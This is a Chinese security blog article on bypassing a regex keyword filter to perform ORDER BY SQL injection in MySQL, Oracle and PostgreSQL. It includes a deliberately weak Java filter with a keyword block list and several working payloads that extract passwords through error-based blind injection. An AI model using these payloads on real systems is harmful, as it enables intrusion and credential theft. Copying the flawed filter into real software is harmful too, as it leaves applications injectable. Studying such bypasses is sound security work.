神奇的orderby注入——第二篇

admin 2025-12-22 04:43:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了如何绕过针对SQL注入的泛用检测机制,特别是在orderby参数中的注入。作者详细分析了MySQL、Oracle和PostgreSQL三种数据库的绕过技术,包括使用科学计数法、特殊语法和注释等方法。文章提供了多种具体的攻击载荷示例,展示了如何在不触发正则表达式检测的情况下执行SQL注入攻击,从而获取敏感数据如用户密码。这些技术对于渗透测试人员和安全研究人员具有很高的实用价值。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,漏洞POC


cover_image

神奇的order by注入——第二篇

原创

珂字辈

珂技知识分享

2025年10月31日 18:00 湖北

一、 泛用检测

在一次实战中,我碰到了类似这样的检测。

&nbsp; &nbsp;&nbsp;@RequestMapping("/findUser")&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;findUser(@Param("key")&nbsp;String&nbsp;key,&nbsp;@Param("orderBy")&nbsp;String&nbsp;orderBy){&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Pattern&nbsp;pattern =&nbsp;Pattern.compile("[a-zA-Z0-9\\-\\_\\.]+");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String[] sqliKeywords = {"select",&nbsp;"from",&nbsp;"case",&nbsp;"when",&nbsp;"union"};&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Matcher&nbsp;matcher = pattern.matcher(orderBy.toLowerCase());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;List<String> results =&nbsp;new&nbsp;ArrayList<>();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(matcher.find()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; results.add(matcher.group());&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int i =&nbsp;0; i < results.size(); i++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int j =&nbsp;0; j < sqliKeywords.length; j++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(results.get(i).equals(sqliKeywords[j])) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"hack!!!";        }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }    }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;List<User> users = userMapper.findUsersByNameLike(key, orderBy);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;output =&nbsp;"";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(User&nbsp;u : users) {     &nbsp; &nbsp;output += u.getId() +&nbsp;" - "&nbsp;+ u.getUsername()+"<br>\r\n";   }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;output;&nbsp; &nbsp; }

其中key没有注入,orderby有注入。

我们都知道,如果严格不能使用select,SQL注入只能注出user()/database()这种无关痛痒的信息,危害度将大大降低。

PS:只有极少部分情况可以不用select查表中的信息,不赘述。

而这里显然这是一个针对子查询的泛用检测,它先将orderby传参分割成了符合正则的多个字符串,再去匹配那些SQL注入必须用到的关键字。我们用一个经典报错注入的payload如下。

updatexml(1,concat(0x7e,(select user()),0x7e),1)

select被正则筛选出来了,导致检测命中报hack,如果使用selectqqq就不会命中。这样的检测方式更加泛用,也比较宽松,是比较折中的方案。如果直接暴力contains(“select”)误报可能会相当严重。当然,这个方案允许了横线/点是非常大的失误,在后续对我们的绕过帮助很大。

如何绕过呢?在偏SRC的漏洞挖掘中,我们可以取巧,选择直接注个user()交差,比如存在详细报错信息可以这样。

updatexml(1,concat(0x7e, user(),0x7e),1)

不存在详细报错信息,用基于报错的布尔盲注可以这样(为什么要用rand可以看第一篇)

if(length(user())=14,exp(999999),rand(1))

二、 mysql注入

但如果非要注出password呢?

这是个比较贴近语义分析的过滤器,它跟真正的语义分析waf的区别在于,像【(‘select’)】这种拿select当字符串语义分析waf是不会拦截的,但它还是会报hack。

我们现在需要做的是让select跟一个字母/数字/点/下划线/横杠以符合正则,且SQL语句能够正常解析。在mysql中很容易想到。

select-1;

但是光有select没有from也是不行的,from有没有办法跟一个可信字符呢?还真有几种办法。null,小数,科学计数法都可以

select-1-\Nfrom&nbsp;user;select-0.0from&nbsp;user;select-1-0e0from&nbsp;user;

我们用科学计数法。

那么该如何注入呢?非常简单,只要将想注的字段拼接进-0-0e0即可。

if(-6=(select-0-length(password)-0e0from user where id =&nbsp;1),exp(99999999),rand(1))

除此之外,mysql还有两种比较容易想到的绕过方法,这个后面再提。

三、 Oracle注入

之所以mysql能这么轻松的解决,是因为我提前就知道mysql的select/from可以跟可信字符。但实战中我碰到的并不是mysql,而是Oracle。

Oracle的orderby注入比mysql更加简单,先不考虑select,只需要注个user交差的情况。那么最简单的用decode和除数不能为0的特性,构造出基于报错的布尔盲注。

1/decode(length(user),6,1,0)

但如何让Oracle的select跟可信字符呢?【-1】和【.1】都可以。

但from却不能跟科学计数法/null/小数了。

经过fuzz,我发现Oracle支持数字以d/f/D/F结尾,用来标注数据类型是BINARY_FLOAT还是BINARY_DOUBLE。后面可以直接跟from。

The Basics of BINARY_FLOAT & BINARY_DOUBLE

因此最终答案就出来了。

1/decode((select.0-length(password)-0dfrom user_test where id=1),-6,1,0)

四、 PostgreSQL注入

你以为这就结束了吗?实战中还碰上了PostgreSQL,我们来先看PostgreSQL的order by该如何注入。

首先是每个数据库都存在的case when。

(case&nbsp;when&nbsp;1=1&nbsp;then&nbsp;(select&nbsp;666)&nbsp;else&nbsp;(select&nbsp;666&nbsp;union&nbsp;select&nbsp;667)&nbsp;end)

但PostgreSQL的缺点在于没有mysql的if或者oracle的decode支持表达式的函数,因此只能用NULLIF/LEAST/GREATEST来代替。它们都是可以利用数学运算返回0,然后当除数报错,构造成基于报错的布尔条件。

1/NULLIF(0,length(user)-4)1/LEAST(1,length(user)-4)1/GREATEST(-1,length(user)-4)

再看能否使select和from紧挨着可信字符,完全可以,甚至语法比mysql/oracle都更加宽松。

select.2from&nbsp;pg_database;select-2from&nbsp;pg_database;

然而实战中并没有那么简单,这种宽松的语法只到了14版本,>=15版本PostgreSQL就更新为严格语法,使得from几乎不能挨着任何字符。

我们来看PostgreSQL的词法分析器,关键字命中了realfail/integer_junk/numeric_junk/real_junk。

https://github.com/postgres/postgres/blob/master/src/backend/parser/scan.l

我们碰到的报错显然更贴近integer_junk/numeric_junk,再看它们是怎么解析的。

看到词法组成,对于数字,存在123/0.00/00_000/0x11/0o11/0b11/0e1等多种表达形式。但他们一但加上一个identifier,就会命中junk抛错,而from显然属于identifier。

这么看来似乎从数字上无论如何都没办法,有其他可以利用的词法吗?

有个$foo$的形式可以跟from,可以造成混淆,可惜无法绕过正则。

select-0-$$0$$from&nbsp;pg_database;

但翻着翻着眼前一亮,这不是有个经典的【–】注释吗,可以跟在select/from后面呀。

select--\r\n*&nbsp;from--\r\npg_database;

而且【–】单行注释在sql中非常通用,因此mysql/Oracle/PostgreSQL都可以利用【–\r\n】代替空格,以此绕过泛用检测。

举一反三,mysql显然还可以用内联注释进行绕过。

/*!50000select*/&nbsp;*&nbsp;/*!50000from*/user;

【–】作为最终答案并不难想,一开始没想到也是挺奇怪的,不过如果正则中没有横杠,就可以用上面的一些方法绕过了。

Pattern&nbsp;pattern&nbsp;=&nbsp;Pattern.compile("[a-zA-Z0-9\\_\\.]+");

查看原文:《神奇的order by注入——第二篇》

评论:0   参与:  3